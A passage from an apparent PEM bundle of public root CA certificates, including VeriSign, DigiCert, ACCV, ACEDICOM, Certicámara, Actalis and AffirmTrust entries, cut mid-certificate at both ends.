ny+v8OqCQ5j4aZyJecRDjkZy42Q2Eq/3JR44iZB3fsNrarnDy0RLrHiQi+fHLB5L
EUTINFInzQpdn4XBidUaePKVEFMy3YCEZnXZtWgo+2EuvoSoOMCZEoalHmdkrQYu
L6lwhceWD3yJZfWOQ1QOq92lgDmUYMA0yZZwLKMS9R9Ie70cfmu3nZD0Ijuu+Pwq
yvqCUqDvr0tVk+vBtfAii6w0TiYiBKGHLHVKt+V9E9e4DGTANtLJL4YSjCMJwRuC
O3NJo2pXh5Tl1njFmUNj403gdy3hZZlyaQQaRwnmDwFWJPsfvw55qVguucQJAX6V
um0ABj6y6koQOdjQK/W/7HW/lwLFCRsI3FU34oH7N4RDYiDK51ZLZer+bMEkkySh
NOsF/5oirpt9P/FlUQqmMGqz9IgcgA38corog14=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIE0zCCA7ugAwIBAgIQGNrRniZ96LtKIVjNzGs7SjANBgkqhkiG9w0BAQUFADCB
yjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL
ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJp
U2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxW
ZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0
aG9yaXR5IC0gRzUwHhcNMDYxMTA4MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCByjEL
MAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZW
ZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2ln
biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJp
U2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9y
aXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvJAgIKXo1
nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ/XxrcgxiV0i6CqqpkKzj/i5Vbex
t0uz/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6/WhkcIz
SdhDY2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQG
BO+QueQA5N06tRn/Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+
rCpSx4/VBEnkjWNHiDxpg8v+R70rfk/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10/
NIeWiu5T6CUVAgMBAAGjgbIwga8wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8E
BAMCAQYwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEwHzAH
BgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVy
aXNpZ24uY29tL3ZzbG9nby5naWYwHQYDVR0OBBYEFH/TZafC3ey78DAJ80M5+gKv
MzEzMA0GCSqGSIb3DQEBBQUAA4IBAQCTJEowX2LP2BqYLz3q3JktvXf2pXkiOOzE
p6B4Eq1iDkVwZMXnl2YtmAl+X6/WzChl8gGqCBpH3vn5fJJaCGkgDdk+bW48DW7Y
5gaRQBi5+MHt39tBquCWIMnNZBU4gcmU7qKEKQsTb47bDN0lAtukixlE0kF6BWlK
WE9gyn6CagsCqiUXObXbf+eEZSqVir2G3l6BFoMtEMze/aiCKm0oHw0LxOXnGiYZ
4fQRbxC1lfznQgUy286dUV4otp6F01vvpX1FQHKOtw5rDgb7MzVIcbidJ4vEZV8N
hnacRHr2lVz2XTIIM6RUthg/aFzyQkqFOFSDX9HoLPKsEdao7WNq
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDtzCCAp+gAwIBAgIQDOfg5RfYRv6P5WD8G/AwOTANBgkqhkiG9w0BAQUFADBl
MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJv
b3QgQ0EwHhcNMDYxMTEwMDAwMDAwWhcNMzExMTEwMDAwMDAwWjBlMQswCQYDVQQG
EwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNl
cnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgQ0EwggEi
MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCtDhXO5EOAXLGH87dg+XESpa7c
JpSIqvTO9SA5KFhgDPiA2qkVlTJhPLWxKISKityfCgyDF3qPkKyK53lTXDGEKvYP
mDI2dsze3Tyoou9q+yHyUmHfnyDXH+Kx2f4YZNISW1/5WBg1vEfNoTb5a3/UsDg+
wRvDjDPZ2C8Y/igPs6eD1sNuRMBhNZYW/lmci3Zt1/GiSw0r/wty2p5g0I6QNcZ4
VYcgoc/lbQrISXwxmDNsIumH0DJaoroTghHtORedmTpyoeb6pNnVFzF1roV9Iq4/
AUaG9ih5yLHa5FcXxH4cDrC0kqZWs72yl+2qp/C3xag/lRbQ/6GW6whfGHdPAgMB
AAGjYzBhMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
BBRF66Kv9JLLgjEtUYunpyGd823IDzAfBgNVHSMEGDAWgBRF66Kv9JLLgjEtUYun
pyGd823IDzANBgkqhkiG9w0BAQUFAAOCAQEAog683+Lt8ONyc3pklL/3cmbYMuRC
dWKuh+vy1dneVrOfzM4UKLkNl2BcEkxY5NM9g0lFWJc1aRqoR+pWxnmrEthngYTf
fwk8lOa4JiwgvT2zKIn3X/8i4peEH+ll74fg38FnSbNd67IJKusm7Xi+fT8r87cm
NW1fiQG2SVufAQWbqz0lwcy2f8Lxb4bG+mRo64EtlOtCt/qMHt1i8b5QZ7dsvfPx
H2sMNgcWfzd8qVttevESRmCD1ycEvkvOl77DZypoEd+A5wwzZr8TDRRu838fYxAe
+o0bJW1sj6W3YQGx0qMmoRBxna3iw/nDmVG3KwcIzi7mULKn+gpFL6Lw8g==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBh
MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBD
QTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAwMDAwMDBaMGExCzAJBgNVBAYTAlVT
MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j
b20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsB
CSDMAZOnTjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97
nh6Vfe63SKMI2tavegw5BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt
43C/dxC//AH2hdmoRBBYMql1GNXRor5H4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7P
T19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y7vrTC0LUq7dBMtoM1O/4
gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQABo2MwYTAO
BgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbR
TLtm8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUw
DQYJKoZIhvcNAQEFBQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/Esr
hMAtudXH/vTBH1jLuG2cenTnmCmrEbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg
06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIttep3Sp+dWOIrWcBAI+0tKIJF
PnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886UAb3LujEV0ls
YSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQk
CAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDxTCCAq2gAwIBAgIQAqxcJmoLQJuPC3nyrkYldzANBgkqhkiG9w0BAQUFADBs
MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSswKQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5j
ZSBFViBSb290IENBMB4XDTA2MTExMDAwMDAwMFoXDTMxMTExMDAwMDAwMFowbDEL
MAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3
LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFuY2Ug
RVYgUm9vdCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMbM5XPm
+9S75S0tMqbf5YE/yc0lSbZxKsPVlDRnogocsF9ppkCxxLeyj9CYpKlBWTrT3JTW
PNt0OKRKzE0lgvdKpVMSOO7zSW1xkX5jtqumX8OkhPhPYlG++MXs2ziS4wblCJEM
xChBVfvLWokVfnHoNb9Ncgk9vjo4UFt3MRuNs8ckRZqnrG0AFFoEt7oT61EKmEFB
Ik5lYYeBQVCmeVyJ3hlKV9Uu5l0cUyx+mM0aBhakaHPQNAQTXKFx01p8VdteZOE3
hzBWBOURtCmAEvF5OYiiAhF8J2a3iLd48soKqDirCmTCv2ZdlYTBoSUeh10aUAsg
EsxBu24LUTi4S8sCAwEAAaNjMGEwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQF
MAMBAf8wHQYDVR0OBBYEFLE+w2kD+L9HAdSYJhoIAu9jZCvDMB8GA1UdIwQYMBaA
FLE+w2kD+L9HAdSYJhoIAu9jZCvDMA0GCSqGSIb3DQEBBQUAA4IBAQAcGgaX3Nec
nzyIZgYIVyHbIUf4KmeqvxgydkAQV8GK83rZEWWONfqe/EW1ntlMMUu4kehDLI6z
eM7b41N5cdblIZQB2lWHmiRk9opmzN6cN82oNLFpmyPInngiK3BD41VHMWEZ71jF
hS9OMPagMRYjyOfiZRYzy78aG6A9+MpeizGLYAiJLQwGXFK3xPkKmNEVX58Svnw2
Yzi9RKR/5CYrCsSXaQ3pjOLAEFe4yHYSkVXySGnYvCoCWw9E1CAx2/S6cCZdkGCe
vEsXCS+0yx5DaMkHJ8HSXPfqIbloEpw8nL+e/IBcm2PN7EeqJSdnoDfzAIJ9VNep
+OkuE6N36B9K
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIH0zCCBbugAwIBAgIIXsO3pkN/pOAwDQYJKoZIhvcNAQEFBQAwQjESMBAGA1UE
AwwJQUNDVlJBSVoxMRAwDgYDVQQLDAdQS0lBQ0NWMQ0wCwYDVQQKDARBQ0NWMQsw
CQYDVQQGEwJFUzAeFw0xMTA1MDUwOTM3MzdaFw0zMDEyMzEwOTM3MzdaMEIxEjAQ
BgNVBAMMCUFDQ1ZSQUlaMTEQMA4GA1UECwwHUEtJQUNDVjENMAsGA1UECgwEQUND
VjELMAkGA1UEBhMCRVMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCb
qau/YUqXry+XZpp0X9DZlv3P4uRm7x8fRzPCRKPfmt4ftVTdFXxpNRFvu8gMjmoY
HtiP2Ra8EEg2XPBjs5BaXCQ316PWywlxufEBcoSwfdtNgM3802/J+Nq2DoLSRYWo
G2ioPej0RGy9ocLLA76MPhMAhN9KSMDjIgro6TenGEyxCQ0jVn8ETdkXhBilyNpA
lHPrzg5XPAOBOp0KoVdDaaxXbXmQeOW1tDvYvEyNKKGno6e6Ak4l0Squ7a4DIrhr
IA8wKFSVf+DuzgpmndFALW4ir50awQUZ0m/A8p/4e7MCQvtQqR0tkw8jq8bBD5L/
0KIV9VMJcRz/RROE5iZe+OCIHAr8Fraocwa48GOEAqDGWuzndN9wrqODJerWx5eH
k6fGioozl2A3ED6XPm4pFdahD9GILBKfb6qkxkLrQaLjlUPTAYVtjrs78yM2x/47
4KElB0iryYl0/wiPgL/AlmXz7uxLaL2diMMxs0Dx6M/2OLuc5NF/1OVYm3z61PMO
m3WR5LpSLhl+0fXNWhn8ugb2+1KoS5kE3fj5tItQo05iifCHJPqDQsGH+tUtKSpa
cXpkatcnYGMN285J9Y0fkIkyF/hzQ7jSWpOGYdbhdQrqeWZ2iE9x6wQl1gpaepPl
uUsXQA+xtrn13k/c4LOsOxFwYIRKQ26ZIMApcQrAZQIDAQABo4ICyzCCAscwfQYI
KwYBBQUHAQEEcTBvMEwGCCsGAQUFBzAChkBodHRwOi8vd3d3LmFjY3YuZXMvZmls
ZWFkbWluL0FyY2hpdm9zL2NlcnRpZmljYWRvcy9yYWl6YWNjdjEuY3J0MB8GCCsG
AQUFBzABhhNodHRwOi8vb2NzcC5hY2N2LmVzMB0GA1UdDgQWBBTSh7Tj3zcnk1X2
VuqB5TbMjB4/vTAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFNKHtOPfNyeT
VfZW6oHlNsyMHj+9MIIBcwYDVR0gBIIBajCCAWYwggFiBgRVHSAAMIIBWDCCASIG
CCsGAQUFBwICMIIBFB6CARAAQQB1AHQAbwByAGkAZABhAGQAIABkAGUAIABDAGUA
cgB0AGkAZgBpAGMAYQBjAGkA8wBuACAAUgBhAO0AegAgAGQAZQAgAGwAYQAgAEEA
QwBDAFYAIAAoAEEAZwBlAG4AYwBpAGEAIABkAGUAIABUAGUAYwBuAG8AbABvAGcA
7QBhACAAeQAgAEMAZQByAHQAaQBmAGkAYwBhAGMAaQDzAG4AIABFAGwAZQBjAHQA
cgDzAG4AaQBjAGEALAAgAEMASQBGACAAUQA0ADYAMAAxADEANQA2AEUAKQAuACAA
QwBQAFMAIABlAG4AIABoAHQAdABwADoALwAvAHcAdwB3AC4AYQBjAGMAdgAuAGUA
czAwBggrBgEFBQcCARYkaHR0cDovL3d3dy5hY2N2LmVzL2xlZ2lzbGFjaW9uX2Mu
aHRtMFUGA1UdHwROMEwwSqBIoEaGRGh0dHA6Ly93d3cuYWNjdi5lcy9maWxlYWRt
aW4vQXJjaGl2b3MvY2VydGlmaWNhZG9zL3JhaXphY2N2MV9kZXIuY3JsMA4GA1Ud
DwEB/wQEAwIBBjAXBgNVHREEEDAOgQxhY2N2QGFjY3YuZXMwDQYJKoZIhvcNAQEF
BQADggIBAJcxAp/n/UNnSEQU5CmH7UwoZtCPNdpNYbdKl02125DgBS4OxnnQ8pdp
D70ER9m+27Up2pvZrqmZ1dM8MJP1jaGo/AaNRPTKFpV8M9xii6g3+CfYCS0b78gU
JyCpZET/LtZ1qmxNYEAZSUNUY9rizLpm5U9EelvZaoErQNV/+QEnWCzI7UiRfD+m
AM/EKXMRNt6GGT6d7hmKG9Ww7Y49nCrADdg9ZuM8Db3VlFzi4qc1GwQA9j9ajepD
vV+JHanBsMyZ4k0ACtrJJ1vnE5Bc5PUzolVt3OAJTS+xJlsndQAJxGJ3KQhfnlms
tn6tn1QwIgPBHnFk/vk4CpYY3QIUrCPLBhwepH2NDd4nQeit2hW3sCPdK6jT2iWH
7ehVRE2I9DZ+hJp4rPcOVkkO1jMl1oRQQmwgEh0q1b688nCBpHBgvgW1m54ERL5h
I6zppSSMEYCUWqKiuUnSwdzRp+0xESyeGabu4VXhwOrPDYTkF7eifKXeVSUG7szA
h1xA2syVP1XgNce4hL60Xc16gwFy7ofmXx2utYXGJt/mwZrpHgJHnyqobalbz+xF
d3+YJ5oyXSrjhO7FmGYvliAd3djDJ9ew+f7Zfc3Qn48LFFhRny+Lwzgt3uiP1o2H
pPVWQxaZLPSkVrQ0uGE3ycJYgBugl6H8WY3pEfbRD0tVNEYqi4Y7
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFtTCCA52gAwIBAgIIYY3HhjsBggUwDQYJKoZIhvcNAQEFBQAwRDEWMBQGA1UE
AwwNQUNFRElDT00gUm9vdDEMMAoGA1UECwwDUEtJMQ8wDQYDVQQKDAZFRElDT00x
CzAJBgNVBAYTAkVTMB4XDTA4MDQxODE2MjQyMloXDTI4MDQxMzE2MjQyMlowRDEW
MBQGA1UEAwwNQUNFRElDT00gUm9vdDEMMAoGA1UECwwDUEtJMQ8wDQYDVQQKDAZF
RElDT00xCzAJBgNVBAYTAkVTMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKC
AgEA/5KV4WgGdrQsyFhIyv2AVClVYyT/kGWbEHV7w2rbYgIB8hiGtXxaOLHkWLn7
09gtn70yN78sFW2+tfQh0hOR2QetAQXW8713zl9CgQr5auODAKgrLlUTY4HKRxx7
XBZXehuDYAQ6PmXDzQHe3qTWDLqO3tkE7hdWIpuPY/1NFgu3e3eM+SW10W2ZEi5P
Grjm6gSSrj0RuVFCPYewMYWveVqc/udOXpJPQ/yrOq2lEiZmueIM15jO1FillUAK
t0SdE3QrwqXrIhWYENiLxQSfHY9g5QYbm8+5eaA9oiM/Qj9r+hwDezCNzmzAv+Yb
X79nuIQZ1RXve8uQNjFiybwCq0Zfm/4aaJQ0PZCOrfbkHQl/Sog4P75n/TSW9R28
MHTLOO7VbKvU/PQAtwBbhTIWdjPp2KOZnQUAqhbm84F9b32qhm2tFXTTxKJxqvQU
fecyuB+81fFOvW8XAjnXDpVCOscAPukmYxHqC9FK/xidstd7LzrZlvvoHpKuE1XI
2Sf23EgbsCTBheN3nZqk8wwRHQ3ItBTutYJXCb8gWH8vIiPYcMt5bMlL8qkqyPyH
K9caUPgn6C9D4zq92Fdx/c6mUlv53U3t5fZvie27k5x2IXXwkkwp9y+cAS7+UEae
ZAwUswdbxcJzbPEHXEUkFDWug/FqTYl6+rPYLWbwNof1K1MCAwEAAaOBqjCBpzAP
BgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFKaz4SsrSbbXc6GqlPUB53NlTKxQ
MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUprPhKytJttdzoaqU9QHnc2VMrFAw
RAYDVR0gBD0wOzA5BgRVHSAAMDEwLwYIKwYBBQUHAgEWI2h0dHA6Ly9hY2VkaWNv
bS5lZGljb21ncm91cC5jb20vZG9jMA0GCSqGSIb3DQEBBQUAA4ICAQDOLAtSUWIm
fQwng4/F9tqgaHtPkl7qpHMyEVNEskTLnewPeUKzEKbHDZ3Ltvo/Onzqv4hTGzz3
gvoFNTPhNahXwOf9jU8/kzJPeGYDdwdY6ZXIfj7QeQCM8htRM5u8lOk6e25SLTKe
I6RF+7YuE7CLGLHdztUdp0J/Vb77W7tH1PwkzQSulgUV1qzOMPPKC8W64iLgpq0i
5ALudBF/TP94HTXa5gI06xgSYXcGCRZj6hitoocf8seACQl1ThCojz2GuHURwCRi
ipZ7SkXp7FnFvmuD5uHorLUwHv4FB4D54SMNUI8FmP8sX+g7tq3PgbUhh8oIKiMn
MCArz+2UW6yyetLHKKGKC5tNSixthT8Jcjxn4tncB7rrZXtaAWPWkFtPF2Y9fwsZ
o5NjEFIqnxQWWOLcpfShFosOkYuByptZ+thrkQdlVV9SH686+5DdaaVbnG0OLLb6
zqylfDJKZ0DcMDQj3dcEI2bw/FWAp/tmGYI1Z2JwOV5vx+qQQEQIHriy1tvuWacN
GHk0vFQYXlPKNFHtRQrmjseCNj6nOGOpMCwXEGCSn1WHElkQwg9naRHMTh5+Spqt
r0CodaxWkHS4oJyleW/c6RrIaQXpuvoDs3zk4E7Czp3otkYNbn5XOmeUwssfnHdK
Z05phkOTOPu220+DkdRgfks+KzgHVZhepA==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIGZjCCBE6gAwIBAgIPB35Sk3vgFeNX8GmMy+wMMA0GCSqGSIb3DQEBBQUAMHsx
CzAJBgNVBAYTAkNPMUcwRQYDVQQKDD5Tb2NpZWRhZCBDYW1lcmFsIGRlIENlcnRp
ZmljYWNpw7NuIERpZ2l0YWwgLSBDZXJ0aWPDoW1hcmEgUy5BLjEjMCEGA1UEAwwa
QUMgUmHDrXogQ2VydGljw6FtYXJhIFMuQS4wHhcNMDYxMTI3MjA0NjI5WhcNMzAw
NDAyMjE0MjAyWjB7MQswCQYDVQQGEwJDTzFHMEUGA1UECgw+U29jaWVkYWQgQ2Ft
ZXJhbCBkZSBDZXJ0aWZpY2FjacOzbiBEaWdpdGFsIC0gQ2VydGljw6FtYXJhIFMu
QS4xIzAhBgNVBAMMGkFDIFJhw616IENlcnRpY8OhbWFyYSBTLkEuMIICIjANBgkq
hkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAq2uJo1PMSCMI+8PPUZYILrgIem08kBeG
qentLhM0R7LQcNzJPNCNyu5LF6vQhbCnIwTLqKL85XXbQMpiiY9QngE9JlsYhBzL
fDe3fezTf3MZsGqy2IiKLUV0qPezuMDU2s0iiXRNWhU5cxh0T7XrmafBHoi0wpOQ
Y5fzp6cSsgkiBzPZkc0OnB8OIMfuuzONj8LSWKdf/WU34ojC2I+GdV75LaeHM/J4
Ny+LvB2GNzmxlPLYvEqcgxhaBvzz1NS6jBUJJfD5to0EfhcSM2tXSExP2yYe68yQ
54v5aHxwD6Mq0Do43zeX4lvegGHTgNiRg0JaTASJaBE8rF9ogEHMYELODVoqDA+b
MMCm8Ibbq0nXl21Ii/kDwFJnmxL3wvIumGVC2daa49AZMQyth9VXAnow6IYm+48j
ilSH5L887uvDdUhfHjlvgWJsxS3EF1QZtzeNnDeRyPYL1epjb4OsOMLzP96a++Ej
YfDIJss2yKHzMI+ko6Kh3VOz3vCaMh+DkXkwwakfU5tTohVTP92dsxA7SH2JD/zt
A/X7JWR1DhcZDY8AFmd5ekD8LVkH2ZD6mq093ICK5lw1omdMEWux+IBkAC1vImHF
rEsm5VoQgpukg3s0956JkSCXjrdCx2bD0Omk1vUgjcTDlaxECp1bczwmPS9KvqfJ
pxAe+59QafMCAwEAAaOB5jCB4zAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQE
AwIBBjAdBgNVHQ4EFgQU0QnQ6dfOeXRU+Tows/RtLAMDG2gwgaAGA1UdIASBmDCB
lTCBkgYEVR0gADCBiTArBggrBgEFBQcCARYfaHR0cDovL3d3dy5jZXJ0aWNhbWFy
YS5jb20vZHBjLzBaBggrBgEFBQcCAjBOGkxMaW1pdGFjaW9uZXMgZGUgZ2FyYW50
7WFzIGRlIGVzdGUgY2VydGlmaWNhZG8gc2UgcHVlZGVuIGVuY29udHJhciBlbiBs
YSBEUEMuMA0GCSqGSIb3DQEBBQUAA4ICAQBclLW4RZFNjmEfAygPU3zmpFmps4p6
xbD/CHwso3EcIRNnoZUSQDWDg4902zNc8El2CoFS3UnUmjIz75uny3XlesuXEpBc
unvFm9+7OSPI/5jOCk0iAUgHforA1SBClETvv3eiiWdIG0ADBaGJ7M9i4z0ldma/
Jre7Ir5v/zlXdLp6yQGVwZVR6Kss+LGGIOk/yzVb0hfpKv6DExdA7ohiZVvVO2Dp
ezy4ydV/NgIlqmjCMRW3MGXrfx1IebHPOeJCgBbT9ZMj/EyXyVo3bHwi2ErN0o42
gzmRkBDI8ck1fj+404HGIGQatlDCIaR43NAvO2STdPCWkPHv+wlaNECW8DYSwaN0
jJN+Qd53i+yG2dIPPy3RzECiiWZIHiCznCNZc6lEc7wkeZBWN7PGKX6jD/EpOe9+
XCgycDWs2rjIdWb8m0w5R44bb5tNAlQiM+9hup4phO9OSzNHdpdqy35f/RWmnkJD
W2ZaiogN9xa5P1FlK2Zqi9E4UqLWRhH6/JocdJ6PlwsCT2TG9WjTSy3/pDceiz+/
RL5hRqGEPQgnTIEgd4kI6mdAXmwIUV80WoyWaM3X94nCHNMyAK9Sy9NgWyo6R35r
MDOhYil/SrnhLecUIw4OGEfhefwVVdCx/CVxY3UzHCMrr1zZ7Ud3YA47Dx7SwNxk
BYn8eNZcLCZDqQ==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFuzCCA6OgAwIBAgIIVwoRl0LE48wwDQYJKoZIhvcNAQELBQAwazELMAkGA1UE
BhMCSVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8w
MzM1ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290
IENBMB4XDTExMDkyMjExMjIwMloXDTMwMDkyMjExMjIwMlowazELMAkGA1UEBhMC
SVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1
ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290IENB
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAp8bEpSmkLO/lGMWwUKNv
UTufClrJwkg4CsIcoBh/kbWHuUA/3R1oHwiD1S0eiKD4j1aPbZkCkpAW1V8IbInX
4ay8IMKx4INRimlNAJZaby/ARH6jDuSRzVju3PvHHkVH3Se5CAGfpiEd9UEtL0z9
KK3giq0itFZljoZUj5NDKd45RnijMCO6zfB9E1fAXdKDa0hMxKufgFpbOr3JpyI/
gCczWw63igxdBzcIy2zSekciRDXFzMwujt0q7bd9Zg1fYVEiVRvjRuPjPdA1Yprb
rxTIW6HMiRvhMCb8oJsfgadHHwTrozmSBp+Z07/T6k9QnBn+locePGX2oxgkg4YQ
51Q+qDp2JE+BIcXjDwL4k5RHILv+1A7TaLndxHqEguNTVHnd25zS8gebLra8Pu2F
be8lEfKXGkJh90qX6IuxEAf6ZYGyojnP9zz/GPvG8VqLWeICrHuS0E4UT1lF9gxe
KF+w6D9Fz8+vm2/7hNN3WpVvrJSEnu68wEqPSpP4RCHiMUVhUE4Q2OM1fEwZtN4F
v6MGn8i1zeQf1xcGDXqVdFUNaBr8EBtiZJ1t4JWgw5QHVw0U5r0F+7if5t+L4sbn
fpb2U8WANFAoWPASUHEXMLrmeGO89LKtmyuy/uE5jF66CyCU3nuDuP/jVo23Eek7
jPKxwV2dpAtMK9myGPW1n0sCAwEAAaNjMGEwHQYDVR0OBBYEFFLYiDrIn3hm7Ynz
ezhwlMkCAjbQMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiIOsifeGbt
ifN7OHCUyQICNtAwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBCwUAA4ICAQAL
e3KHwGCmSUyIWOYdiPcUZEim2FgKDk8TNd81HdTtBjHIgT5q1d07GjLukD0R0i70
jsNjLiNmsGe+b7bAEzlgqqI0JZN1Ut6nna0Oh4lScWoWPBkdg/iaKWW+9D+a2fDz
WochcYBNy+A4mz+7+uAwTc+G02UQGRjRlwKxK3JCaKygvU5a2hi/a5iB0P2avl4V
SM0RFbnAKVy06Ij3Pjaut2L9HmLecHgQHEhb2rykOLpn7VU+Xlff1ANATIGk0k9j
pwlCCRT8AKnCgHNPLsBA2RF7SOp6AsDT6ygBJlh0wcBzIm2Tlf05fbsq4/aC4yyX
X04fkZT6/iyj2HYauE2yOE+b+h1IYHkm4vP9qdCa6HCPSXrW5b0KDtst842/6+Ok
fcvHlXHo2qN8xcL4dJIEG4aspCJTQLas/kx2z/uUMsA1n3Y/buWQbqCmJqK4LL7R
K4X9p2jIugErsWx0Hbhzlefut8cl8ABMALJ+tguLHPPAUJ4lueAI3jZm/zel0btU
ZCzJJ7VLkn5l/9Mt4blOvH+kQSGQQXemOR/qnuOf0GZvBeyqdn6/axag67XH/JJU
LysRJyU3eExRarDzzFhdFPFqSBX/wge2sY0PjlxQRrM9vwGYT7JZVEc+NHt4bVaT
LnPqZih4zR0Uv6CPLy64Lo7yFIrM6bV8+2ydDKXhlg==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDTDCCAjSgAwIBAgIId3cGJyapsXwwDQYJKoZIhvcNAQELBQAwRDELMAkGA1UE
BhMCVVMxFDASBgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVz
dCBDb21tZXJjaWFsMB4XDTEwMDEyOTE0MDYwNloXDTMwMTIzMTE0MDYwNlowRDEL
MAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZp
cm1UcnVzdCBDb21tZXJjaWFsMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA9htPZwcroRX1BiLLHwGy43NFBkRJLLtJJRTWzsO3qyxPxkEylFf6EqdbDuKP
